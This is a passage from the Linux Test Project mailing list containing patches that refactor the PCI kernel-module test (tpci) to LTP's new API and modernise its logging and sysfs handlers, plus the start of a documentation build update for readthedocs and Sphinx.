 	pci_registered = 1;
-	prk_info("success driver register");
+	pr_info("success driver register\n");
 	return TPASS;
 }
 
@@ -431,12 +430,12 @@ static int test_assign_resources(void)
 	struct pci_dev *dev = ltp_pci.dev;
 	struct resource *r;
 
-	prk_info("assign resources");
+	pr_info("assign resources\n");
 
 	for (i = 0; i < 7; ++i) {
-		prk_info("assign resource #%d", i);
+		pr_info("assign resource #%d\n", i);
 		r = &dev->resource[i];
-		prk_info("name = %s, flags = %lu, start 0x%lx, end 0x%lx",
+		pr_info("name = %s, flags = %lu, start 0x%lx, end 0x%lx\n",
 			r->name, r->flags,
 			(unsigned long)r->start, (unsigned long)r->end);
 
@@ -450,14 +449,14 @@ static int test_assign_resources(void)
 
 			pci_release_resource(dev, i);
 			ret = pci_assign_resource(dev, i);
-			prk_info("assign resource to '%d', ret '%d'", i, ret);
+			pr_info("assign resource to '%d', ret '%d'\n", i, ret);
 
 			if (ret == 0 && dev->hdr_type == PCI_HEADER_TYPE_NORMAL) {
 				int attach_ret;
 
 				attach_ret = device_attach(&dev->dev);
 				if (attach_ret < 0)
-					prk_info("device_attach failed for endpoint, ret: %d", attach_ret);
+					pr_info("device_attach failed for endpoint, ret: %d\n", attach_ret);
 			}
 
 			rc |= (ret < 0 && ret != -EBUSY) ? TFAIL : TPASS;
@@ -483,14 +482,14 @@ static int test_save_state(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("save state");
+	pr_info("save state\n");
 
 	if (pci_save_state(dev)) {
-		prk_err("failed save state");
+		pr_err("failed save state\n");
 		return TFAIL;
 	}
 
-	prk_info("saved state of device");
+	pr_info("saved state of device\n");
 	return TPASS;
 }
 
@@ -503,7 +502,7 @@ static int test_restore_state(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("restore state");
+	pr_info("restore state\n");
 
 	pci_restore_state(dev);
 
@@ -521,12 +520,12 @@ static int test_find_cap(void)
 {
 	struct pci_dev *dev = ltp_pci.dev;
 
-	prk_info("find device capability");
+	pr_info("find device capability\n");
 
 	if (pci_find_capability(dev, PCI_CAP_ID_PM))
-		prk_info("does not have tested capability");
+		pr_info("device has PM capability\n");
 	else
-		prk_info("device has PM capability");
+		pr_info("does not have tested capability\n");
 
 	return TPASS;
 }
@@ -546,24 +545,24 @@ static int test_read_pci_exp_config(void)
 	/* skip the test if device doesn't have PCIe capability */
 	pos = pci_pcie_cap(dev);
 	if (!pos) {
-		prk_info("device doesn't have PCI-EXP capability");
+		pr_info("device doesn't have PCI-EXP capability\n");
 		return TSKIP;
 	}
-	prk_info("read the PCI Express configuration registers at 0x%x", pos);
+	pr_info("read the PCI Express configuration registers at 0x%x\n", pos);
 
 	if (pci_read_config_dword(dev, pos, &header)) {
-		prk_err("failed to read config dword");
+		pr_err("failed to read config dword\n");
 		return TFAIL;
 	}
 
 	/* comparing the value read with PCI_CAP_ID_EXP macro */
 	if ((header & 0x000000ff) == PCI_CAP_ID_EXP) {
-		prk_info("correct val read using PCIE driver installed: 0x%x",
+		pr_info("correct val read using PCIE driver installed: 0x%x\n",
 			header);
 		return TPASS;
 	}
 
-	prk_err("incorrect val read. PCIE driver/device not installed: 0x%x",
+	pr_err("incorrect val read. PCIE driver/device not installed: 0x%x\n",
 		header);
 	return TFAIL;
 }
@@ -573,7 +572,7 @@ static int test_case(unsigned int cmd)
 	int rc = TSKIP;
 
 	if (!ltp_pci.dev || !ltp_pci.bus) {
-		prk_err("device or bus not selected for test");
+		pr_err("device or bus not selected for test\n");
 		return TFAIL;
 	}
 
@@ -630,7 +629,7 @@ static int test_case(unsigned int cmd)
 		rc = test_read_pci_exp_config();
 		break;
 	default:
-		prk_info("mismatching test-case command %d", cmd);
+		pr_info("mismatching test-case command %d\n", cmd);
 		break;
 	}
 
@@ -645,7 +644,7 @@ static int test_result;
 
 static void device_release(struct device *dev)
 {
-	prk_info("device released\n");
+	pr_info("device released\n");
 }
 
 static struct device tdev = {
@@ -654,34 +653,36 @@ static struct device tdev = {
 };
 
 /* print test result to sysfs file */
-static ssize_t sys_result(struct device *dev,
+static ssize_t result_show(struct device *dev,
 	struct device_attribute *attr, char *buf)
 {
 	return scnprintf(buf, PAGE_SIZE, "%d\n", test_result);
 }
-static DEVICE_ATTR(result, S_IRUSR, sys_result, NULL);
+static DEVICE_ATTR_RO(result);
 
-static ssize_t sys_tcase(struct device *dev,
+static ssize_t tcase_store(struct device *dev,
 	struct device_attribute *attr,  const char *buf, size_t count)
 {
 	int tc = 0;
 
-	sscanf(buf, "%d", &tc);
-	prk_info("test-case %d", tc);
+	if (kstrtoint(buf, 10, &tc) < 0)
+		return -EINVAL;
+	pr_info("test-case %d\n", tc);
 
 	test_result = test_case(tc);
 
 	return count;
 }
-static DEVICE_ATTR(tcase, S_IWUSR, NULL, sys_tcase);
+static DEVICE_ATTR_WO(tcase);
 
-static ssize_t sys_bus_slot(struct device *dev,
+static ssize_t bus_slot_store(struct device *dev,
 	struct device_attribute *attr,  const char *buf, size_t count)
 {
 	unsigned int res, bus, slot;
 	int ret;
 
-	sscanf(buf, "%u", &res);
+	if (kstrtouint(buf, 10, &res) < 0)
+		return -EINVAL;
 
 	bus = res >> 8 & 0xFF;
 	slot = res & 0xFF;
@@ -692,35 +693,36 @@ static ssize_t sys_bus_slot(struct device *dev,
 
 	return count;
 }
-static DEVICE_ATTR(bus_slot, S_IWUSR, NULL, sys_bus_slot);
+static DEVICE_ATTR_WO(bus_slot);
 
 static int tpci_init_module(void)
 {
 	int err = 0;
-	prk_info("Starting module");
+
+	pr_info("Starting module\n");
 
 	err = device_register(&tdev);
 	if (err) {
-		prk_err("Unable to register device");
+		pr_err("Unable to register device\n");
 		goto err0;
 	}
-	prk_info("device registered\n");
+	pr_info("device registered\n");
 
 	err = device_create_file(&tdev, &dev_attr_result);
 	if (err) {
-		prk_err("Can't create sysfs file 'result'");
+		pr_err("Can't create sysfs file 'result'\n");
 		goto err1;
 	}
 
 	err = device_create_file(&tdev, &dev_attr_tcase);
 	if (err) {
-		prk_err(": Can't create sysfs file 'tc'");
+		pr_err("Can't create sysfs file 'tc'\n");
 		goto err2;
 	}
 
 	err = device_create_file(&tdev, &dev_attr_bus_slot);
 	if (err) {
-		prk_err(": Can't create sysfs file 'bus_slot'");
+		pr_err("Can't create sysfs file 'bus_slot'\n");
 		goto err3;
 	}
 
@@ -739,7 +741,7 @@ module_init(tpci_init_module)
 
 static void tpci_exit_module(void)
 {
-	prk_debug("Unloading module\n");
+	pr_debug("Unloading module\n");
 	if (ltp_pci.dev)
 		pci_dev_put(ltp_pci.dev);
 
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO b/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO
deleted file mode 100644
index fb84dfc6189f2a56240d717eab87e7ee2df86fc6..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/pci-exp-tests-HOWTO
+++ /dev/null
@@ -1,58 +0,0 @@
-HOWTO -->	PCI-Express test scripts for LTP
-	Amit Khanna amit.khanna@intel.com
-			08/20/2004
-
-1. About this HOWTO
-
-This document describes the addition of PCI-Express test cases to the existing LTP project.
-These test cases/scripts will enhance the LTP's capability to test PCI-Express devices/drivers.
-
-2. Copyright (c) Intel Corporation, 2004
-
-3. What is this patch doing?
-
-a. A function "test_find_pci_exp_cap" has been added to the tpci.c file of LTP project.
-	(\ltp\testcases\kernel\device-drivers\pci\tpci\tpci.c)
-	 This function makes a call to pci_find_capability, which will determine if a device
-	 has PCI-Express capability. A PCI Express device function indicates PCI-Express support
-	 by implementing the PCI-Express capability structure in its capability list.
-
-b. A function "test_read_pci_exp_config" has been added to the tpci.c file of LTP project.
- 	This function calls "pci_config_read" and determines if the PCI-Express enhanced config
- 	space of the device can be read successfully or not.
-
-	"pci_config_read" function here reads the Advanced Error Reporting CAP-ID register located
-	 at the PCI-Express enhanced config space address 0x100. The value of this register is a READ-ONLY
-	 value which is constant on all the PCI-Express devices. If the value read from this register matches with the
-	 defined macro AER_CAP_ID_VALUE(in tpci.h) that means that PCI-Express driver is accessing
-	 the enhanced config space SUCCESSFULLY.
-
-c. A user space function 'ki_generic()" is already available in user_tpci.c file of LTP project,
-   (\ltp\testcases\kernel\device-drivers\pci\user_tpci\user_tpci.c) which will drive the kernel
-   module tpci to test various pci and pci-express functions (defined & prototyped in tpci.c).
-
-
-4. Including PCI-Express support into the kernel
-
-By default, the kernel may not enable PCI-Express feature. A kernel
-configuration option must be selected to enable PCI-Express support.
-
-To include PCI-Express support into the kernel requires users to enable PCI-Access mode with
-"Any" or "MMCFG" in the "General Setup" menu in the kernel configuration menu.
-
-5. FAQ
-
-Q1. Are there any limitations on using this patch?
-
-A1. If the device supports PCI-Express feature and the PCI-Express feature is enabled in the kernel,
-then only a user will be able to access the PCI-Express space.
-Even if the device doesn't support PCI-Express feature, the traditional PCI-space would still be accessible.
-
-Q2. What is this AER_CAP_ID_VALUE macro defined in tpci.h?
-
-A2. AER_CAP_ID_VALUE represents the value of Advanced Error Reporting Capability ID in the PCI Express config space.
-The default value of this is always same for all PCI-Express devices. i.e. 0x14011.
-In the function "test_read_pci_exp_config" in tpci.c file, it is compared with the value retrieved from a PCI-Express
-capable device. If both the values match that means that the PCI-Express driver is accessing the PCI-Express config space
-SUCCESSFULLY.
-***FINISH***
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h b/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
index f7defb29ffc781c6ce7472b9c9545189dc4ca804..7791e3ec78a957e97a8123d7776080a7ee46f9e0 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
+++ b/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
@@ -1,22 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
+#ifndef LTP_TPCI_H
+#define LTP_TPCI_H
+
 #define PCI_DEVICE_NAME		"ltp_tpci"
 #define MAX_DEVFN		256
 #define MAX_BUS			256
@@ -41,3 +32,5 @@ enum PCI_TCASES {
 	PCI_EXP_CAP_CONFIG,
 	PCI_TCASES_NUM,
 };
+
+#endif

-- 
2.51.0


From andrea.cervesato@suse.de  Wed Aug  5 11:44:58 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Wed, 05 Aug 2026 11:44:58 +0200
Subject: [LTP] [PATCH 2/2] tcpi: refactor test using new API
In-Reply-To: <20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com>
References: <20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com>
Message-ID: <20260805-tpci_refactoring-v1-2-4ca8d84f8a95@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Merge kernel module with the current test inside the same folder and
refactor tpci test using new API.

Now test has a -d option to select device for operating destructive
tests on target.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 .../pci/{tpci_kernel => tpci}/.gitignore           |   3 +-
 testcases/kernel/device-drivers/pci/tpci/Makefile  |  22 +++
 .../pci/{tpci_kernel => tpci}/ltp_tpci.c           |   4 +-
 testcases/kernel/device-drivers/pci/tpci/tpci.c    | 156 +++++++++++++++++++++
 .../pci/{tpci_kernel => tpci}/tpci.h               |   0
 .../kernel/device-drivers/pci/tpci_kernel/Makefile |  35 -----
 .../kernel/device-drivers/pci/tpci_user/.gitignore |   1 -
 .../kernel/device-drivers/pci/tpci_user/Makefile   |  20 ---
 .../kernel/device-drivers/pci/tpci_user/tpci.c     | 115 ---------------
 9 files changed, 182 insertions(+), 174 deletions(-)

diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore b/testcases/kernel/device-drivers/pci/tpci/.gitignore
similarity index 76%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore
rename to testcases/kernel/device-drivers/pci/tpci/.gitignore
index ed4712e3adc194b8921e4daba28f8f5c9a8f94df..ec0d18ab921bf6a33e6495a596c1b19b48bbc66d 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore
+++ b/testcases/kernel/device-drivers/pci/tpci/.gitignore
@@ -1,3 +1,4 @@
+/tpci
 /ltp_tpci.ko
 /*.mod.c
 /modules.order
@@ -5,4 +6,4 @@
 /.*.ko
 /.*.cmd
 /Module.symvers
-modules.livepatch
+/modules.livepatch
diff --git a/testcases/kernel/device-drivers/pci/tpci/Makefile b/testcases/kernel/device-drivers/pci/tpci/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..ae80dec86e4731df3d0d994c21bf8cf87ceaf767
--- /dev/null
+++ b/testcases/kernel/device-drivers/pci/tpci/Makefile
@@ -0,0 +1,22 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+
+ifneq ($(KERNELRELEASE),)
+
+obj-m := ltp_tpci.o
+
+else
+
+top_srcdir		?= ../../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+REQ_VERSION_MAJOR	:= 2
+REQ_VERSION_PATCH	:= 6
+
+MAKE_TARGETS		:= tpci ltp_tpci.ko
+
+include $(top_srcdir)/include/mk/module.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+endif
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c b/testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
similarity index 99%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
rename to testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
index 033ac1f0008e358d1afd0240bf1a9855ec32e1fd..1a7a09661d2ad42d4bfec8dc53dce5ec34b30ff6 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
@@ -12,8 +12,8 @@
  * driven through various sysfs interactions in a user-space program.
  *
  * For the functions of this module to work correctly, there must be a
- * PCI / PCI-Express device somewhere in the system. The tests do not need
- * a specific device; the first PCI device available will be grabbed.
+ * PCI / PCI-Express device somewhere in the system. The user-space test
+ * selects each device through the bus_slot sysfs file.
  *
  * The following test cases can be called from user-space:
  *
diff --git a/testcases/kernel/device-drivers/pci/tpci/tpci.c b/testcases/kernel/device-drivers/pci/tpci/tpci.c
new file mode 100644
index 0000000000000000000000000000000000000000..b2285119660d350c92b6c604f3d3734482789105
--- /dev/null
+++ b/testcases/kernel/device-drivers/pci/tpci/tpci.c
@@ -0,0 +1,156 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
+ *  Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test various PCI and PCI-Express APIs using the ltp_tpci.ko kernel module.
+ *
+ * [Algorithm]
+ *
+ * - Loads the ltp_tpci.ko kernel module.
+ * - Iterates over all possible PCI buses (0-255) and slots (0-255).
+ * - Attempts to select each device by writing to the module's bus_slot sysfs file.
+ * - For each existing device, executes the available test cases.
+ *   Safe test cases are executed on all devices.
+ *   Destructive test cases are only executed on a target device specified via -d.
+ * - Reads the result from the result sysfs file and reports it using tst_res().
+ */
+
+#include "tst_test.h"
+#include "tst_module.h"
+#include "tpci.h"
+
+#define MODULE_NAME	PCI_DEVICE_NAME ".ko"
+#define DEV_RESULT	"/sys/devices/" PCI_DEVICE_NAME "/result"
+#define DEV_TCASE	"/sys/devices/" PCI_DEVICE_NAME "/tcase"
+#define DEV_BUSSLOT	"/sys/devices/" PCI_DEVICE_NAME "/bus_slot"
+
+static int module_loaded;
+static int devices_found;
+static char *target_device;
+static unsigned int target_bus;
+static unsigned int target_devfn;
+
+static int is_destructive_test(int tc)
+{
+	switch (tc) {
+	case FIND_BUS:
+	case FIND_CLASS:
+	case FIND_DEVICE:
+	case FIND_SUBSYS:
+	case MATCH_DEVICE:
+	case FIND_CAP:
+	case PCI_EXP_CAP_CONFIG:
+		return 0;
+	default:
+		return 1;
+	}
+}
+
+static void run_pci_testcases(const unsigned int bus, const unsigned int slot)
+{
+	int res;
+	int is_target = 0;
+
+	if (target_device && bus == target_bus && slot == target_devfn)
+		is_target = 1;
+
+	for (int i = 0; i < PCI_TCASES_NUM; ++i) {
+		if (!is_target && is_destructive_test(i))
+			continue;
+
+		SAFE_FILE_PRINTF(DEV_TCASE, "%d", i);
+		SAFE_FILE_SCANF(DEV_RESULT, "%d", &res);
+
+		switch (res) {
+		case 0:
+			tst_res(TPASS, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		case 1:
+			tst_res(TFAIL, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		case 32:
+			tst_res(TCONF, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		default:
+			tst_brk(TBROK, "unexpected result code %d from kernel module",
+				res);
+		}
+	}
+}
+
+static void run(void)
+{
+	char buf[16];
+	int fd, count;
+
+	devices_found = 0;
+
+	for (int i = 0; i < MAX_BUS; ++i) {
+		for (int j = 0; j < MAX_DEVFN; ++j) {
+			/* set pci device for the test */
+			fd = SAFE_OPEN(DEV_BUSSLOT, O_WRONLY);
+			count = snprintf(buf, sizeof(buf), "%u", i << 8 | j);
+
+			if (write(fd, buf, count) < 0) {
+				if (errno == ENODEV) {
+					SAFE_CLOSE(fd);
+					continue;
+				}
+				SAFE_CLOSE(fd);
+				tst_brk(TBROK | TERRNO, "write to '%s' failed", DEV_BUSSLOT);
+			}
+			SAFE_CLOSE(fd);
+
+			devices_found++;
+			run_pci_testcases(i, j);
+		}
+	}
+
+	if (!devices_found)
+		tst_brk(TCONF, "no PCI device found on the system");
+}
+
+static void cleanup(void)
+{
+	if (module_loaded)
+		tst_module_unload(MODULE_NAME);
+}
+
+static void setup(void)
+{
+	if (target_device) {
+		char tail;
+
+		if (sscanf(target_device, "%x:%x%c", &target_bus, &target_devfn, &tail) != 2 ||
+				target_bus > 0xff || target_devfn > 0xff) {
+			tst_brk(TBROK, "Invalid PCI device '%s', expected bus:devfn",
+				target_device);
+		}
+	}
+
+	tst_requires_module_signature_disabled();
+
+	if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0)
+		tst_brk(TCONF, "Cannot load unsigned modules in Lockdown/Secure Boot");
+
+	tst_module_load(MODULE_NAME, NULL);
+	module_loaded = 1;
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_root = 1,
+	.options = (struct tst_option[]) {
+		{"d:", &target_device, "Target PCI device for destructive tests (e.g. 00:28)"},
+		{}
+	},
+};
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h b/testcases/kernel/device-drivers/pci/tpci/tpci.h
similarity index 100%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/tpci.h
rename to testcases/kernel/device-drivers/pci/tpci/tpci.h
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile b/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile
deleted file mode 100644
index 6e1284d6cf53f078b610f175f2b2d899e6de8be5..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/Makefile
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-ifneq ($(KERNELRELEASE),)
-
-obj-m := ltp_tpci.o
-
-else
-
-top_srcdir	?= ../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-REQ_VERSION_MAJOR := 2
-REQ_VERSION_PATCH := 6
-
-MAKE_TARGETS := ltp_tpci.ko
-
-include $(top_srcdir)/include/mk/module.mk
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
-
-endif
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/.gitignore b/testcases/kernel/device-drivers/pci/tpci_user/.gitignore
deleted file mode 100644
index b1817e5fba323c996651324b0879359fd941a43a..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/tpci
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/Makefile b/testcases/kernel/device-drivers/pci/tpci_user/Makefile
deleted file mode 100644
index 6ba346520e199cfe1673548179684c5c606e6e4b..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/Makefile
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
deleted file mode 100644
index 687d2a62b0bccc2fa84bb401b61f7e467a630a41..0000000000000000000000000000000000000000
--- a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software Foundation,
- * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- *
- * Author: Alexey Kodanev <alexey.kodanev@oracle.com>
- *
- */
-
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
-#include "tso_module.h"
-#include "tst_security.h"
-
-#include "../tpci_kernel/tpci.h"
-
-char *TCID = "test_pci";
-int TST_TOTAL = PCI_TCASES_NUM;
-
-static const char module_name[]	= PCI_DEVICE_NAME ".ko";
-static const char dev_result[]	= "/sys/devices/" PCI_DEVICE_NAME "/result";
-static const char dev_tcase[]	= "/sys/devices/" PCI_DEVICE_NAME "/tcase";
-static const char dev_busslot[]	= "/sys/devices/" PCI_DEVICE_NAME "/bus_slot";
-static int module_loaded;
-
-static void cleanup(void)
-{
-	if (module_loaded)
-		tst_module_unload(NULL, module_name);
-}
-
-void setup(void)
-{
-	tst_require_root();
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	tst_requires_module_signature_disabled();
-	if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0)
-		tst_brkm(TCONF, NULL, "Cannot load unsigned modules in Lockdown/Secure Boot");
-}
-
-static void run_pci_testcases(int bus, int slot)
-{
-	int i, res;
-	for (i = 0; i < TST_TOTAL; ++i) {
-		/* skip pci disable test-case, it is manual */
-		if (i == PCI_DISABLE)
-			continue;
-
-		SAFE_FILE_PRINTF(cleanup, dev_tcase, "%d", i);
-		SAFE_FILE_SCANF(cleanup, dev_result, "%d", &res);
-
-		tst_resm(res, "PCI bus %02x slot %02x : Test-case '%d'",
-			bus, slot, i);
-	}
-}
-
-static void test_run(void)
-{
-	tst_module_load(cleanup, module_name, NULL);
-	module_loaded = 1;
-
-	char buf[6];
-	int i, j, fd, count;
-
-	for (i = 0; i < MAX_BUS; ++i) {
-		for (j = 0; j < MAX_DEVFN; ++j) {
-			/* set pci device for the test */
-			fd = SAFE_OPEN(cleanup, dev_busslot, O_WRONLY);
-			count = snprintf(buf, 6, "%u", i << 8 | j);
-			errno = 0;
-			if (write(fd, buf, count) < 0) {
-				if (errno == ENODEV) {
-					SAFE_CLOSE(cleanup, fd);
-					continue;
-				}
-				tst_brkm(TBROK | TERRNO, cleanup,
-					"write to '%s' failed", dev_busslot);
-			}
-			SAFE_CLOSE(cleanup, fd);
-
-			run_pci_testcases(i, j);
-
-		}
-	}
-}
-
-int main(void)
-{
-	setup();
-
-	test_run();
-
-	cleanup();
-
-	tst_exit();
-}

-- 
2.51.0


From pvorel@suse.cz  Wed Aug  5 11:49:31 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 11:49:31 +0200
Subject: [LTP] [PATCH 0/4] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
Message-ID: <20260805094935.448896-1-pvorel@suse.cz>

Hi Andrea, all,

FYI I tested this in readthedocs.org. Therefore I pushed this branch as
readthedocs-ubuntu-26.04 to our upstream git repo [1]. Build worked [2]:

	Collecting sphinx==8.2.3 (from -r doc/requirements.txt (line 3))
	  Downloading sphinx-8.2.3-py3-none-any.whl.metadata (7.0 kB)
	Collecting sphinx-rtd-theme==3.1.0 (from -r doc/requirements.txt (line 4))
	  Downloading sphinx_rtd_theme-3.1.0-py2.py3-none-any.whl.metadata (4.5 kB)
	Collecting linuxdoc==20260504 (from -r doc/requirements.txt (line 6))
	  Downloading linuxdoc-20260504-py3-none-any.whl.metadata (5.3 kB)
	Collecting sphinxcontrib-spelling==8.0.2 (from -r doc/requirements.txt (line 7))
	  Downloading sphinxcontrib_spelling-8.0.2-py3-none-any.whl.metadata (2.9 kB)
	...
	Successfully installed docutils-0.21.2 fspath-20230629
	linuxdoc-20260504 pyenchant-3.3.0 roman-numerals-py-4.1.0 six-1.17.0
	sphinx-8.2.3 sphinx-rtd-theme-3.1.0 sphinxcontrib-jquery-4.1
	sphinxcontrib-spelling-8.0.2

I of course restore back the master branch and going to delete branch
readthedocs-ubuntu-26.04 after you have look at it.

We could also delete dependabot/pip/doc/setuptools-83.0.0 (branch bot
created without even asking, huh!), because CVE-2026-59890 (score 6.1)
is handled by 3rd commit.

Kind regards,
Petr

[1] https://github.com/linux-test-project/ltp/tree/readthedocs-ubuntu-26.04
[2] https://app.readthedocs.org/projects/linux-test-project/builds/33923113/
[3] https://github.com/linux-test-project/ltp/tree/dependabot/pip/doc/setuptools-83.0.0

Petr Vorel (4):
  readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
  doc: Reduce default sphinx verbosity with -q
  doc: Update linuxdoc, sphinxcontrib-spelling
  tst_kvercmp.h: Further links to manpage

 .readthedocs.yml      |  2 +-
 doc/Makefile          | 11 +++++++++--
 doc/requirements.txt  | 11 ++++-------
 include/tst_kvercmp.h | 13 +++++++------
 4 files changed, 21 insertions(+), 16 deletions(-)

-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 11:49:33 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 11:49:33 +0200
Subject: [LTP] [PATCH 2/4] doc: Reduce default sphinx verbosity with -q
In-Reply-To: <20260805094935.448896-1-pvorel@suse.cz>
References: <20260805094935.448896-1-pvorel@suse.cz>
Message-ID: <20260805094935.448896-3-pvorel@suse.cz>

Guard sphinx -v opt with V=1 make variable. This will be useful for
linuxdoc update which uses Sphinx logging in this version.

Actually '-q' is needed because even without '-v' the output would get
over thousand of kernel-doc INFO level messages like:

    include/tst_test_macros.h:811: [kernel-doc INFO] : prototype --> '#define TST_EXP_EQ_LI_SILENT(VAL_A, VAL_B) \'
    include/tst_test_macros.h:815: [kernel-doc INFO] : scanning doc for: function 'TST_EXP_EQ_LU'
    include/tst_test_macros.h:817: [kernel-doc INFO] : section: @VAL_A
    include/tst_test_macros.h:818: [kernel-doc INFO] : section: @VAL_B

which would easily hide a real error.

While at it, use this also for 'spelling' make target.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
 doc/Makefile | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/doc/Makefile b/doc/Makefile
